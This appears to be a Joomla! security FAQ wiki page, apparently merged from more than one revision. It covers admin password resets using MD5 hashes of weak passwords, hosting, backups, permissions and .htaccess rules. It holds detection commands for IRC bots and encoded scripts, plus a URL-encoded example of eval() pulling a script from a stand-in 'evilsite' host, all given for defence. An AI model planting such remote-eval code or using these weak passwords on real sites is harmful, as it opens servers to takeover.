'''Enhanced Password Encryption Note Joomla! 1.0.13+ and Joomla! 1.5.x'''
This method works with the new salt-enhanced passwords. This is because Joomla! will automatically update passwords in the earlier format.

'''Directions'''

1. Use a MySQL utility such as phpMyAdmin or MySQL Query Browser .

2. Open the correct database and select the table, jos_users . (Change default table prefix, 'jos_' to your table prefix if it is different.)

3. Select the record (or table row) for your administrator account. (The default Super Administrator is user number 62.)

4. Copy and paste a known MD5 hash into the password field. You can use one of the below examples.
'''Warning:''' You must paste the password's hash value, not the password itself. You can use any of the following hashs, or create your own using one of the MD5 tools listed below.

password = "MD5 hash of password"
------------------------------------------------------
admin = 21232f297a57a5a743894a0e4a801fc3
secret = 5ebe2294ecd0e0f08eab7690d2a6ee69
OU812 = 7441de5382cf4fecbaa9a8c538e76783

5. Save the user record.

6. Point a browser to your site and log in using the Super Administrator account you just modified.

7. '''IMPORTANT:''' Once logged in, use the Joomla interface to change the password to one that only you know. This step is vital as it will 'salt' your new password, thus adding an additional level of security on top of the MD5 hash.

Note: This technique can be used to modify any other accounts password. You can also use it to change Usernames.

'''Generating your own MD5 hash from a password of your choice'''

Alternatively, you can set the password to a value of your own choice. Use tools, such as the following, to create your own strong hashed password. Use the above directions once you've generated a hash with these tools.

'''Online MD5 hash creation tools'''
* JavaScript MD5 - http://pajhome.org.uk/crypt/md5/

'''Free MD5 utilities for download'''
* MD5 & Hashing Utilities - http://www.digital-detective.co.uk/freetools/md5.asp
* SlavaSoft HashCalc - http://www.slavasoft.com/hashcalc/overview.htm

'''Other MD5 tools'''
* There are many free online and downloadable MD5 utilities. Google "MD5 hash tool"

== How do I find exploits using the *NIX shell? ==

'''Check the active processes'''

Use the "ps" command to look for odd or unknown processes, if you aren't sure what to look for there, user "netstat -ae | grep irc" and/or "netstat -ea | grep 666" and look for ports 6666, 6667, 6668, 6669, these are common ports used for running IRC bots, they may have the name "irc" listed against them, or may have "httpd" or sometimes other regular services names.

'''Check crontab'''

Check your crontab and see if there is a strange entry, these are used in many exploits to restart IRC bots, even when admins or automated process monitors are used to kill a rogue process.

'''Check for hidden files or directories'''

Check for hidden files or directories you dont expect to see, those starting with "." (dots) and also look for ". " (dot, space) often favored to try and catch searches for hidden directories.

Other examples of searches that may help pin down exploits and/or unexpected files and folders:

find /home -type f | xargs grep -l MultiViews
find . -type f | xargs grep -l base64_encode <<< this can produce false positives, it is valid in many mail/graphics scripts
find . -type f | xargs grep -l error_reporting
find / -name "[Bb]itch[xX]"
find / -name "psy*"
ls -lR | grep rwxrwxrwx > listing.txt

== What are these strange (URL-Encoded) characters doing in my code? ==

Overview

Attackers sometimes hide code away from prying eyes by URL Encoding it.

The purpose of URL Encoding is to allow non-URL compatible characters to be passed via the URL. There are many legitimate reasons for doing this, such as hiding email from spammers, dealing with spaces in file names. etc.

However, if you find odd, URL-encoded text in your site's files, you should investigate immediately. URL encoded text is very easy to translate using PHP, javascript, or one of the many free, online translators.

Here are some trivial, non-functioning examples of URL Encoded text:

<table border="1">
<tr>
<th>Original</th>
<th>URL Encoded</th>
</tr>
<tr valign="top">
<td>this line has spaces</td>
<td>this%20line%20has%20spaces</td>
</tr>
<tr valign="top">
<td>eval(evil_script(http://www.evilsite/?evilscript.pl"));</td>
<td>%65val%28%65%76il_%73cri%70t
%28%68tt%70%3A//%77%77%77.
%65%76il%73ite/%3F%65%76il%73
cript.%70l%22%29%29%3B</td>
</tr>
</table>

'''Resources'''

# [http://www.linkedresources.com/tools/unescaper_v0.2b1.html Text Unescape Utility]
# [http://www.w3schools.com/tags/ref_urlencode.asp HTML URL-encoding Reference]


[[Category:Security]]
[[Category:FAQ]]
[[Category:Security_FAQ]]

Security and Performance FAQs

2011-09-26T23:00:18Z

Cadrlp: /* How do I reset an administrator password? */ * MD5er - http://www.md5er.com/ site gone for sale and spam links

{{RightTOC}}

= Getting Started =

==Is GNU and Open Source software worth the costs and risks?==

It's difficult, if not impossible, to argue against the value proposition of GNU and Open Source software, although [http://www.catb.org/~esr/halloween/ some have tried]. Due to zero licensing fees, lower administrative overhead, high-quality code, security releases that are distributed in minutes or hours rather than months or marketing cycles, and free online support from thousands of like-minded developers and users, GNU and Open Source offerings are often the best solution. The math is really quite compelling:

{|class="wikitable" border="1"
! '''Applications''' !! '''Industry Leader''' !! align="right" | '''Cost'''
|-
| GNU/Linux
| Yes
| align="right" | 0
|-
| Apache Web Server
| Yes
| align="right" | 0
|-
| MySQL Relational Database
| Yes
| align="right" | 0
|-
| PHP Scripting Language
| Yes
| align="right" | 0
|-
| Joomla! Content Management System
| Yes
| align="right" | 0
|-
| Thousands of Joomla Extensions
| Varies
| align="right" | 0
|-
! '''Support''' !! '''Relative Quality''' !! align="right" | '''Cost'''
|-
| Joomla! Project Leadership Team
| High
| align="right" | 0
|-
| Joomla! Forge
| High
| align="right" | 0
|-
| Joomla! Online Forums
| High
| align="right" | 0
|-
| Joomla! Documentation
| Medium
| align="right" | 0
|-
| Thousands of Online Volunteers
| High
| align="right" | 0
|-
| Paid Professional Support
| Widely Available
| align="right" | 0
|-
! align="right" | '''Total''' !!   !! align="right" | '''0'''
|}

==What is the Joomla! Administrator's Security Checklist?==

The [[Security Checklist 1 - Getting Started|Security Checklist]] is a concise selection of the best tips and tricks from the many contributors in the Joomla Security Forums. Review this list BEFORE you install Joomla for the first time.

==What are the top 10 stupidest Joomla! security tricks?==
A very good question, and sadly one that many did not ask in time. We proudly present the [[Top 10 Stupidest Administrator Tricks]].

==How do I choose a quality hosting provider?==

The following is a short list of security-related requirements. Depending on your specific needs, you may have many other security requirements such as shell access, cron access, SSL server, etc.

* '''Choose *NIX:''' Joomla! requires at least PHP and MySQL to run. Because Apache/PHP/MySQL run best on UNIX or GNU/LINUX servers, choose a host that offers these options.
* '''Use Secure FTP:''' Choose a host that requires SFTP (Secure FTP) for transferring files. This prevents others from snooping your user name and password from packets as they travel over the Internet.

* '''Set PHP register_globals OFF:''' The most security conscious hosts turn PHP's Register Globals directive OFF by default. The next best allow you to turn it off in local .htaccess or php.ini files. A host that requires you to run a site with Register Globals ON should be avoided. This is true for any PHP enabled site, whether or not you are running Joomla!. There is a legitimate argument to be made by hosts for keeping Register Globals ON for PHP4 sites. This is that it would break too much legacy code. This argument should not be accepted for a PHP5 installation. Beginning with PHP5, the official PHP recommendation was to keep Register Globals is OFF. Note that beginning with PHP6, there will not even be a Register Globals setting, so don't get caught in a Register Globals backwater. Modify your code to work without Register Globals, and choose a host that encourages such practices.

* '''Stay up-to-date:''' Choose a host that stays up-to-date with the latest stable versions of core applications, including the operating system, database, and [http://www.php.net/ PHP].

* '''Avoid cheap shared servers:''' Be sure users on your shared server can't view each others files and databases, for example through shell accounts and cpanels.

* '''Proactive server management:''' Choose a host that provides real information about security compromises, rather than simply shutting your site down. Check their user forums for evidence of how they've responded to cracks in the past. A good host may for example, inform you immediately that a security breach has occurred and will quarantine the problem file for you, while leaving it there for further investigation. A poor host will shut your site down and provide very limited information on why. Watch out! All too many do this.

* '''Require raw log access:''' Be sure you have access to raw server logs. Reading these logs is a vital part of site security and recovery.

* '''Performance matters:''' Choose a host that limits the number of users per machine and the average CPU load per machine to some reasonable number (depending on hardware). Be sure they proactively move user sites as needed to balance load. Check the number of domains on a server using reverse IP lookup.

* '''Data center:''' Choose a host that manages it's own data center. Check the data center infrastructure, such as redundant Internet access, hot swappable backups, full daily backups, environment and access controls, emergency generators, etc.

* '''Know your neighbors:''' Check that your host is not at risk of having its IP addresses blocked because it hosts SPAM sites.

* '''Visit the Joomla Resources Directory (JRD) [http://resources.joomla.org/directory/support-services/hosting.html hosting section]:''' If you are looking for a Joomla Host, please ensure you make your own investigations as to the services offered and whether they suit your needs or not.

* '''Grow with your site:''' As sites grow in complexity, resource requirements, and security requirements, they may need to be moved off of a shared server environment. At that point, good options include, 1) '''dedicated servers''' offer the best possible security and performance, but at the highest expense, 2) '''virtual servers''' offer almost all the advantages of a dedicated server, but the hardware and configuration cost is shared among multiple virtual servers.

==What are the best practices for site backups?==

: There are three traditional backup types--full, cumulative and differential.

'''Full Backups'''
: A complete backup of all associated files and database at a known point in time.

: Both of these are considered Incremental backups, they can be used independently of each other or in conjunction with each other but always relate back to a FULL backup.

'''Cumulative Backups'''
: This is a backup of the differences since the last FULL backup, so each cumulative backup gets bigger each cycle as it is also backing up data previously backup, since the last FULL backup.

'''Incremental Backups'''
: This is a backup of the changes since the previous backup of any type, i.e., full, cumulative, or incremental.

: If you site is not too large, then FULL backups are the way to go, once a week at least. If your content changes quite regularly or more importantly cannot be recreated or is too costly to recreate, once a night or more may be more effective.

: If time, server resources, or the rate of data change is too high to successfully obtain a FULL backup every night then the incremental backups are needed.

: If you choose to use a cumulative backup following a weekly full, the backups each night will run quicker than a full backup, however as the week progresses, each nightly cumulative backup will increase in size and time, due to not only backing up the changes since last night's backup, but it also backing up all changes each night and previous nights since the last full backup was made. The benefit of this type of backup, in conjunction with full backups is the speed of restoration. To restore, you now only need to recover the most recent full and cumulative backups to fully recover all information.

: If time or server resources are paramount or data change overwhelms cumulative backups, turn to differential backups, this style of backup when used in conjunction with a full backup will provide a very similar level of protection, but restoration will be slower. Differential backups will only backup changed data since the last backup of any type, not since the last full backup, as with a cumulative backup. Thus, when restoring data, you will need to recover the full backup, then each differential backup in turn (oldest first) in order to fully recover all information. This method also has the drawback of recovering any legitimately deleted files, potentially "over-filling" the file-system.

'''Data Protection Best Practice says'''

# You should be able to completely recover from a catastrophic failure from at least two previous full backups. Just in case the most recent full backup is damaged, lost, or corrupt.
# A good backup regime should contain at least one full backup within a chosen cycle, normally weekly.
# A good backup practice is to store backups away from the current data location, preferably off site.
# Dynamic data should be backed up ''offline'' or ''hot'' to avoid ''fuzzy'' backups (data is changing as you back it up, potentially leading to related information not being in sync when backed up.

: For the average Web site, a daily or weekly full backup of both site files and database records is normally more than enough. Keeping a number of backups for a period of time is always a good plan, maybe keep each weekly backup for one month. This allows you to recover an old site in the case of emergencies or if for some reason you have local backup file corruption.

: There are many PHP and Perl scripts on the Web that can be automated through CRONTAB and can either email (if small enough) or FTP the backup files to an off- or cross- server location. Remember that to some degree with Joomla! you already have an instant backup of the core files, if you haven't modified core, the Joomla! distribution files can be easily restored. Then you need only worry about backing up changed files and the database.

==Where can I learn about vulnerable extensions?==
* See the [http://docs.joomla.org/Vulnerable_Extensions_List Vulnerable Extensions List]

==Where can I learn more about file permissions?==

* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/113-joomla-and-unix-file-permissions-explanation.html Unix Permissions Primer]
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/112-joomla-and-windows-file-permissions-explanation.html Windows Permissions Primer]
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/111-permissions-under-phpsuexec.html Using phpSuExec]

==How do I setup a powerful password scheme?==

'''Overview'''

: Most users may not need more than 3 levels of passwords and webmasters no more than 5. Each level must be completely unrelated to the others in terms of which ids and passwords are used.

'''Directions'''

* '''Level 5 (Public)''' - is the password you use on public sites. It is not imperative that you use a different password on every site. In fact it's more effective to use a different username on every site than it is to use a different password truth be told! Knowing the username allows easy hacking...half the work is done! knowing the password is useless unless you know what account it goes to!

* '''Level 4 (Webmaster)''' - Reserved for SQL Only. this is a password that would only be used by SQL and limited to a specific database in SQL. The best way to protect SQL is by limiting each account to just being able to do the minimum that DB requires. In some cases it is even wise to have a read only account for display and a separate write account that the backend write functions use. But that doesn't apply to J! at all... for J! the best practice is to set up an individual account (not root for sure) that only has read and write access to the J! DB nothing else.

* '''Level 3 (Webmaster)''' - FTP and Server Access. these can be the same user:pass combo since both if compromised can do the most damage. doesn't matter if the backend or Cpanel is safe if the FTP is not and the same goes the other way!

* '''Level 2 (Personal Data Access)''' - This password should be used for any sites or locations that contain personal data with the exception of Banking (see level 1). these sites are often used for social engineering data such as medical records, service accounts and any financial records not directly related to banking! You want these to be secure but also different from the real threat of security...your money!

* '''Level 1 (Banking!)''' - this needs to be the most secure in fact if you have two different banks it actually pays to have a different user:pass for each just to be sure!

= Joomla! Core =

==How can I check my Joomla! installation's overall security and health?==

: 1. Use the free Joomla extension, Joomla! Tools Suite (JTS), which is a Joomla! environment audit, maintenance and diagnostic application written in PHP. The JTS suite of tools can diagnose, report and advise on common installation, health and security issues, including performing several common performance and recovery actions.

: Project Home: http:// joomlacode. org/gf/project/jts/ (gone away)

==How can I add the Joomla! Security Announcements Feed to the Admin Control Panel?==

# Login to your Joomla! sites Administration site
# From the menu, select Extensions -> Module Manager
# From within the Module Manager, select Administrator
# From the Icon Menu (top right), select New
# From the choices available, select Feeds Display
# At the Feed Module configuration page, enter the appropriate details (Title (EG: Security Announcements) and Feed as a minimum)
# Enter http://feeds.joomla.org/JoomlaSecurityNews in the Feed URL
# Select cpanel as the position
# Optional Select Apply from the Icon Menu (top right) and place the feed in the order where you want to see it in the Admin Control Panel
# Select Save from the Icon Menu (top right)
# Go back to your Admin Site main page (Site -> Control Panel) and you should see your newly built Security Feed.

: You can also use this technique to deliver your own "Customer Updates" to sites that you build for others. It's a great way to communicate with your customers after handing over the site to them. Every time they log in to the Back End, they'll see your latest news.

==Why should I immediately change the name of the default admin user after a new install?==

'''Overview'''

: All new Joomla installations start with a Super Administrator account called, 'admin'. During the installation process, you will be asked to give this account a password. That's great as far as it goes, but because the user name of this highly-confidential account is generally well known, 50% of the security of the username/password combination is already exposed. Now all anyone needs to do is guess the password and they're in.

: By changing the user name to something more difficult to guess, you greatly increase the difficulty of accessing the account. An attacker must correctly guess both the user name and password at the same time to gain access. This is several magnitudes more difficult than simply guessing the right password.

'''Directions'''

# Log into the Back End
# Select User Manager
# Select the 'admin' user record
# Change the value in username. (Good user names contain a mix of letters and numbers.)
# Save
# Remember the new username!

== Why does the Back-End session stay alive even though I set it to expire? ==

: When you edit an item from the Back-End, there is a keep-alive script running that keeps the session active. This is a great convenience in most cases, as it prevents you from losing all your edits if you wait too long to submit the content. However, there are a few potential security issues to be aware of:

# If you walk away from your computer while you are editing content, someone else can use your computer to attack the site.
# Due to the risk of Cross-Site Request Forgery attacks ([http://en.wikipedia.org/wiki/Cross-site_request_forgery CSRF]) it's never a good idea to browse the Internet in another window or tab while an open Joomla! Administrator session is active. Joomla! has been hardened against such attacks, but it's remotely possible that an as yet unknown vulnerability exists in the Joomla! core, a third-party extension, or the browser itself.

==How do I turn off RG_EMULATION? {{JVer|1.0}}==

'''Overview'''

: PHP's ''register_globals'' option was a terrible idea from a security point of view. It encouraged lazy programming and exposed many scripts to needless risk. This is because RG allows variables passed by the user to be automatically passed to the script. This breaks a cardinal rule: Never trust user input.

: Register Globals has been officially deprecated in PHP5, and beginning with PHP6 will no longer even exist. Good riddance!

: Joomla 1.0.x uses RG_Emulation functions which are somewhat safer than standard PHP ''register_globals'', but it's still best not to allow any form of automatic variable assignments. Note that poorly-written extensions may fail with ''register_globals'' turned off. Such failure is a sign that the extension does not check user input correctly. Best advise: Don't use such extensions.

'''Joomla! 1.0.13'''

: Beginning with the 1.0.13 release, Register Globals Emulation has been moved to the main configuration file and can be adjusting in the Back-end Administrator interface.

'''Joomla! 1.0.12 and earlier'''

: Edit the file, ''globals.php'', found in the root directory of your Joomla! site. At about line 23 change:

define('RG_EMULATION',1)

: to

define('RG_EMULATION',0)

==What do Error 1, Error 2, and Error 3 mean?==

'''Error 1 = FATAL ERROR: MySQL not supported...'''

You need to compile MySQL support into PHP or the MySQL server is down.

'''Error 2 = FATAL ERROR: Connection to database ...'''

Joomla! cannot talk to the database, most likly you have a typo in the username or password settings in ''configuration.php'', or you are trying to access a database table with the wrong table prefix.

'''Error 3 = FATAL ERROR: Database not found...'''

The database cannot be found. Check the database settings in ''configuration.php''

The MySQL variables in ''configuration.php'' (found in Joomla!'s root directory) can be modified to correct these problems.

For Joomla! 1.0.xx
$mosConfig_host = 'localhost';
$mosConfig_user = 'accountname__username';
$mosConfig_password = 'userpassword';
$mosConfig_db = 'accountname_dbName';
$mosConfig_dbprefix = 'jos_';

Modifying the ''$mosConfig_host'' to an IP Address of a remote host works for hosts that have separate MySQL servers from the client hosting servers.

==How do UNIX file permissions work?==

Unix/Linux file permissions can be confusing. The basic UNIX permissions come in three flavors;

Owner Permissions : Control your own access to files.
Group Permissions : Control access for you and anyone in your group.
Other Permissions : Control access for all others.

In Unix, when permissions are configured the server allows you to define different permissions for each of these three categories of users. In a Web server environment permissions are used to control which Web site owners can access which directories and files.

'''What do Unix permissions look like?'''

When viewing your files through an FTP client or from the servers command line;

filename.php username usergroup rwx r-x r-x

The first entry is the name of the file, the next entry is your username on the server, the second entry is the group that you are a member of and the last entry is the permissions assigned to that this file (or directory). If you notice, I have intentionally spaced out the permissions section, I have grouped the 9 characters into 3 sets of 3. This separation is key to how the permissions system works. The first set of 3 permissions (rwx) relate to the username seen above, the second set of 3 permissions (r-x) relate to the usergroup seen above and the final set of 3 permissions (r-x) relate to anyone else who is not associated with the username or groupname.

'''Owner (User) relates to username'''

The Owner (User) is normally you, these permissions will be enforced on your hosting account name.

'''Group relates to usergroup'''

The Group permissions will be enforced on other people that are in the same group as you, within a hosting environment, there is very rarely other people in the same group as you. This protects your files and directories from being made available to anybody else who may also have a hosting account on the same server as you.

'''Other relates to everyone else'''

The Other permissions, these will be enforced on anybody else on the server that is either not you or not in your group. So in a Web Serving environment, remembering that no-one else is normally in your group, then this is everybody else accessing the server except for you. Each of the three sets of permissions are defined in the following manner;

r = Read permissions
w = Write permissions
x = Execute permissions

Owner Group Other
r w x r w x r w x

As many of you already know, permissions are normally expressed as a numeric value, something like 755 or 644. so, how does this relate to what we have discussed above? Each character of the permissions are assigned a numeric value, this is assigned in each set of three, so we only need to use three values and reuse them for each set.

Owner Group Other
r w x r w x r w x
4 2 1 4 2 1 4 2 1

Now that we have a value that represents each permission, we can express them in numeric terms. The values are simply added together in the respective sets of 3, which will in turn give us just three numbers that will tell us what permissions are being set. If we are told that a file has the permissions of 777, this would mean that the following was true.

Owner Group Other
r w x r w x r w x
4 2 1 4 2 1 4 2 1

Thus...

4+2+1 4+2+1 4+2+1
= 7 7 7

The Owner of the file would have full Read, Write and Execute permissions, the group would also have full Read, Write and Execute permissions, and the rest of the world can also Read, Write and Execute the file. The standard, default permissions that get assigned to files and directories by the server are normally;

Files = 644
Directories = 755

These permissions would allow, for files;

644 = rw- r-- r--
Owner has Read and Write
Group has Read only
Other has Read only

and for directories;

755 = rwx r-x r-x
Owner has Read, Write and Execute
Group has Read and Execute only
Other has Read and Execute only

Now, things can get a little complicated when we start talking about shared Web Servers, the Web Server software will be running with its own username and groupname, most servers are configured for them to use either "apache" and "apache" or "nobody" and "nobody" as username and groupname. Here is the problem. Your Web Server runs as its own user, and this user is not you or in your group, so the first two sets of permissions do not apply to it. Only the world (other) permissions apply. Therefore, if you configure a permissions set similar to 640 on your website files, your Web Server will not be able to run your website files.

640 = rw- r-- ---
Owner has Read and Write
Group has Read only
Other has no rights

The Web server is assigned no permissions at all and cannot Execute, Write or more importantly, even Read the file to delivery its content to a website visitors browser. If a directory was to be assigned 750 permissions, this would have the same effect, because the WebServer does not even have permissions to read files in the directory, even if the files inside that directory had favorable permissions.

750 = rw- r-x ---
Owner has Read and Write
Group has Read and Execute
Other has no rights

Directories have an extra quirk, if a directory does not have the Execute permission set in the World set then even if Read and Write are set, if the program is not run as the user or group, it will still not be able to access the files within the directory. The Execute setting allows the program to "Execute" commands in the directory, so without it being on the program(in our case a Web Server) cannot execute the "Read" command, thus cannot deliver your file to the users web browser.

'''How Does this Relate to Joomla?'''

Good question, well in the first instance this would be important during the Web-Installer process.
If you can remember back to when you ran the Joomla! Web-Installer, we were looking for specific directories to be designated as writable. We see quite a numbers of posts either stating that there were problems during the install with permissions or asking what permissions are recommended. Some even consider the message, asking for "Writable" permissions to be too vague.

Unfortunately, as the Web-Installer does not know how your server is configured, then it cannot be more specific, however, once you understand the permissions settings and you know a little about Web Serving environments, you will actually find that the term ''writable'' is actually very specific and a more than adequate description of what Joomla! needs. Thinking back to the above information, you may remember that there are three places where ''write'' permissions maybe set;

Owner Writable
Group Writable
Other Writable

Also remembering that the Web Server generally doesn't run as your own user or in the same group. When you run the Web Installer from a browser, it is the Web Server trying to access the files, thus it is the "Other" permissions that will apply to it. If the "Other" permissions do not allow the Web Server to Read, Write or Execute commands in the Joomla! directories, you will receive the message saying that the directories are not ''writable''.

In this case, you will need to configure the Other permissions to be "7" on the directories listed in the Web Installer.
So your total permissions might be something like 757, in the worse case you might need to set 777. These very open permissions
maybe reset back to 755 after the installer runs to assist in the security of your directories and files.

757 = rwx r-x rwx
Owner has Read, Write and Execute
Group has Read and Execute
Other has Read, Write and Execute

Just to make things even more confusing, many hosting firms make use of software called phpsuExec or suExec, these tools change the way the Web Server runs, where the Web Server would not normally run as your username, in this case, it does. The use of the ''other'' permissions, may not be required, now you may only need to configure directories to be ''writable'' to your own username and groupname, this allows directory permissions to be set as 755 or 775 instead of 757 or 777.

755 = rwx r-x r-x
Owner has Read, Write and Execute
Group has Read and Execute
Other has Read and Execute

775 = rwx rwx r-x
Owner has Read, Write and Execute
Group has Read, Write and Execute
Other has Read and Execute

The Web Server will still need to Execute set for the username and Read, Execute groupname permissions set so that it can Execute the Read command on files inside the directory. Again, these permissions may be demoted back to 755 after the Web Installer completes. Thats the basics for directories covered, what about files? This is where things get a little simpler. Most of the files that Joomla! makes use of will be quite happy with the 644 default permissions.

644 = rw- r-- r--
Owner has Read, Write
Group has Read
Other has Read

This is valid if you do not have a need to Write to the files from the Web Server, the same rules apply as for directories if you do have this need. One file that you may like to have "Writable" to the Web Server is your configuration.php file. This is the Joomla! configuration file, if you plan on changing configuration through the Web Admin interface, then this file will need to be Writable to the Web Server.

If your server needed directory permissions to be set to "Other" Writable for the install then this file will probably also need to be 757 or 777. Leaving this file as 757 or 777 is dangerous though, as you are letting everyone have "Write" access, many Web Site exploits take advantage of this fact, so in general it is not recommended to leave this file with these permissions.

If your Web Server has one of the SU tools installed and you only needed to configure 755 on directories for the installation, then you will probably also only need to set 755 or 775 on this file to allow editing through the Admin interface, and these permissions are generally accepted as more secure than 757 or 777.

In conclusion, what permissions should be set for the Joomla! installation? Well, as you can see, it depends!

I know this isn't as helpful as you would have liked and it certainly is not a definitive answer, but in general, after the installation, any insecure "7" settings can be reset back to something more secure. For example:
Files = 644
Directories = 755

These permissions would allow, for files;

644 = rw- r-- r--
Owner has Read and Write
Group has Read only
Other has Read only

and for directories,

755 = rwx r-x r-x
Owner has Read, Write and Execute
Group has Read and Execute only
Other has Read and Execute only

If you have SSH shell access the following commands can be run from the command line to reset all files and directories back to the server defaults of 755 and 644. Change directories to the top directory (" / ") of your Joomla! installation, then run:

find . -type f -exec chmod 644 {} \;
find . -type d -exec chmod 755 {} \;

If you only have FTP access, this can be a very time consuming job, however, unless you changed more directories during the installation that was requested, you should only need to reset about 10 directories and the ''configuration.php'' file.

Keep in mind that to install any extensions or templates after the actual Joomla! installation you may need to elevate the default permissions again on the appropriate directories just for the installation period, you may then demote them again after the add-on is installed.

If you decide to use ''caching'' the cache directory will need to be ''writable'' by the Web server user to allow it to write its temporary files.

==What are the recommended file and directory permissions?==

Depending on the security configuration of your Web server the recommended default permissions of 755 for directories and 644 for files should be reasonably secure.

==How can I avoid using chmod 0777 to enable installs?==

On a private server with a small, controlled set of users, there is no need to use a chmod 777 to make the Joomla! folders writable in order to perform installs. You can set the server up so that both Apache and FTP have control of site files.

'''Directions'''

# Edit the Apache user.conf file and tell apache to run under the FTP account.
# chmod the entire site to 644 or 744. Apache should be able to run just fine that way.

'''Optional'''

# chgrp the entire web space to the FTP group so that only those with FTP access can write to the server.
# chmod the entire web space to 764 or 664 will be possible giving other users write access as well

==Isn't locating all Joomla! files inside public_html a security risk?==

'''Short answer'''

Potentially, yes. Your site can be secure, but you must be careful and vigilant.

'''Long answer'''

A common security principle is to create various security levels and then grant access at each level only as required. On UNIX servers this is done by setting the user, group, and world permissions on directories and files.

Typically, the most insecure directory on a UNIX server is the one serving Web files, usually called public_html. This is because it is publicly accessible, world-readable, and in the case of a CMS-powered site, possibly even world-writable. That status is the very definition of officially, totally, and utterly insecure.

As long as you want the entire world to view your public_html directory there is no problem. After all, that's exactly what it's designed to do. But if you want to hide anything, the plot thickens. If public_html contains configuration files with secret data, or scripts that write to databases, or scripts that modify other files, or scripts that append to logs, or scripts that store temporary data in caches, or scripts that support file and graphic uploads, or scripts that process form input, or scripts that process financial and personal data, this read-only directory becomes a world-accessible, read-write application.

If there are ANY vulnerabilities in ANY files in the public_html directory, the entire server is potentially vulnerable, and not just your Web site but possibly every Web site on your server. Such vulnerabilities give attackers access to the scripting engines used to run your site. PHP, Perl and other Web scripting languages are powerful and easy to use. If programming vulnerabilities allow an attacker to call arbitrary commands, your entire server could be toast.

One good way to block attackers, is to keep potential vulnerabilities behind a secure fence. For this reason, it is often recommended to only place files that require direct access from the Web in public_html. Other files should be loaded into applications using such functions as include and require. To access such files, attackers must first penetrate your server, such as by discovering a root username/password.

'''The incredible lightness of living outside the fence'''

To provide incredibly easy installation, Joomla! follows a different security model. It is possible to perform a complete Joomla! installation using nothing more than a Web browser pointed at the world-readable installation directory. An additional level of security is provided by requiring that you remove this installation directory after completing the install.

Granting a world-accessible installer the ability to write to files outside of public_html would be a huge security hole. Thus, by default every Joomla! file ends up in the world-accessible public_html directory. Not coincidentally, this is also the directory in which an angry planetful of would-be attackers are hoping to find your files.

Currently, most Joomla extensions also have limited support for file locations outside of public_html. This is a legacy of the Joomla! 1.0.x installation model.

'''Joomla! defense'''

Despite it's apparently vulnerable location, Joomla! uses various effective methods for blocking exploits. Chief among them is to add a line of code at the top of any PHP file that requires extra protection. This method is very effective as long as each and every file requiring such protection, has it. One vulnerable file exposes the whole site.

'''The challenge'''

The practice of placing everything in public_html, and then building a little fence inside each file can become an administrative nightmare. One vulnerable file exposes the entire server. This is a glaring example of an allow, then deny security model.

This model requires very careful upgrades, constant log reviews, and proactive plugging of new vulnerabilities as soon as they become known. (Since you have to beat the attackers, you'll be in a hurry, and may inadvertently do something stupid, potentially creating other vulnerabilities.)

During installations and upgrades, you must verify (or trust someone else to verify) every line of code, of every new file, for every known vulnerability. And because scripts can have unintended consequences on each other, you cannot forget to test, test, test. Of course this is generally true for all software, but placing the entire application in public_html makes the issue extremely critical.

The recent wave of URL injection attacks against poorly-written third party extensions would have been much less successful if those files had been stored outside of public_html, and thus simply unavailable through URLs. Note that in many cases the actual vulnerabilities could still exist within the files, but being inside the fence (outside of public_html) they would not be exposed to URL injections.

To (Deny, then Allow), or (Allow, then Deny)?

The real problem with the above "all known" qualifier is that it is an allow, then deny model. In other words, we first give everyone access to every file and then deny access to specific files by adding a line of code.

Consider the logic for a password authentication script. We have essentially two choices:
# First allow all access, then deny any username/password combination that DOES NOT match the approved list.
# First deny all access, then allow any username/password combination that DOES match the approved list.

Obviously the second method is better. A passing familiarity with regular expressions shows that the first method is much more difficult to write securely. It fails anew each time a new variation of some attack is developed, and tends to require constant revisions. Over time, such revisions become so complex that the authentication system itself becomes a source of vulnerabilities.

Conceptually, the second method is an example of building a strong fence around your site (deny), and then granting access using a limited and well-defined set of criteria (then allow). If the script fails, the most likely result is that someone who should have access is blocked. That may be highly inconvenient, but it's not usually a security breach.

'''The good news'''

# In Joomla! 1.0.x, some extensions, and the Joomla! framework, give you the option of locating critical directories outside of public_html after you have completed the installation. Whenever possible you should do this.
# Joomla! 1.5 goes far in the right direction. It provides several new constants for specifying the location of particularly sensitive directories, including configuration, administrator, libraries, and installation.
# Joomla! 1.5 is able to run as an FTP account. This provides another method for protecting files on a file by file and directory by directory basis.

==How do I adjust Joomla 1.5 defines {{JVer|1.5}}==

There are two defines files that will generally need to be edited. /includes/defines.php file is for the front end and /administrator/includes/defines.php is for the Joomla administrator end. Below is the relevant code.

define( 'JPATH_ROOT' , implode( DS, $parts ) );
define( 'JPATH_SITE' , JPATH_ROOT );
define( 'JPATH_CONFIGURATION', JPATH_ROOT );
define( 'JPATH_ADMINISTRATOR', JPATH_ROOT . DS . 'administrator' );
define( 'JPATH_LIBRARIES' , JPATH_ROOT . DS . 'libraries' );
define( 'JPATH_INSTALLATION' , JPATH_ROOT . DS . 'installation' );

.DS. = Directory Seperator

==Moving sensitive files outside the web root==
{{:Moving sensitive files outside the web root}}

==How do I block direct access to critical files using .htaccess?==
# Make a backup copy of your .htaccess file. Use your backup file to recover if the following fails. Be sure to delete the backup file once you are finished.
# Add the following to your .htaccess file. This example will protect both the configurtation.php and .htaccess files.

<Files .htaccess>
order allow,deny
deny from all
</Files>

<FilesMatch "configuration.php">
Order allow,deny
Deny from all
</FilesMatch>

You can also protect a lot of file extensions in one single rule. Exemple (the file names between ' '''(''' ' and ' ''')''' ' in this rule are the file extensions to protect ):

<FilesMatch "\.(htaccess|htpasswd|ini|phps|log|sh|conf)$">
Order allow,deny
Deny from all
</FilesMatch>

==How do I recursively adjust file and directory permissions?==

'''Using Joomla! Administration'''

In the Back-end, go to Site --> Global Configuration --> Server.

'''Using the UNIX shell'''

'''Note:''' The find command automatically assumes that it should start from the current directory. To be safe, go to your public_html directory and specify a path as the first argument. Some shells, such as bash on Apple OS X, must have a path specified in the find command.

find . -type f -exec chmod 644 {} \;
find . -type d -exec chmod 755 {} \;
chmod 707 images
chmod 707 images/stories
chown apache:apache cache

'''Notes:'''
# Test all third party extensions after changing permissions.
# You may need to reset write permissions to install more extensions.

==How can I set the administrator directory to use an SSL server (https)? {{JVer|1.0}}==

Use Joomla version 1.5 or newer

A standard Joomla! 1.0.x installation does not support SSL for individual directories, however there are various (elegant and not so elegant) hacks posted in the forums.

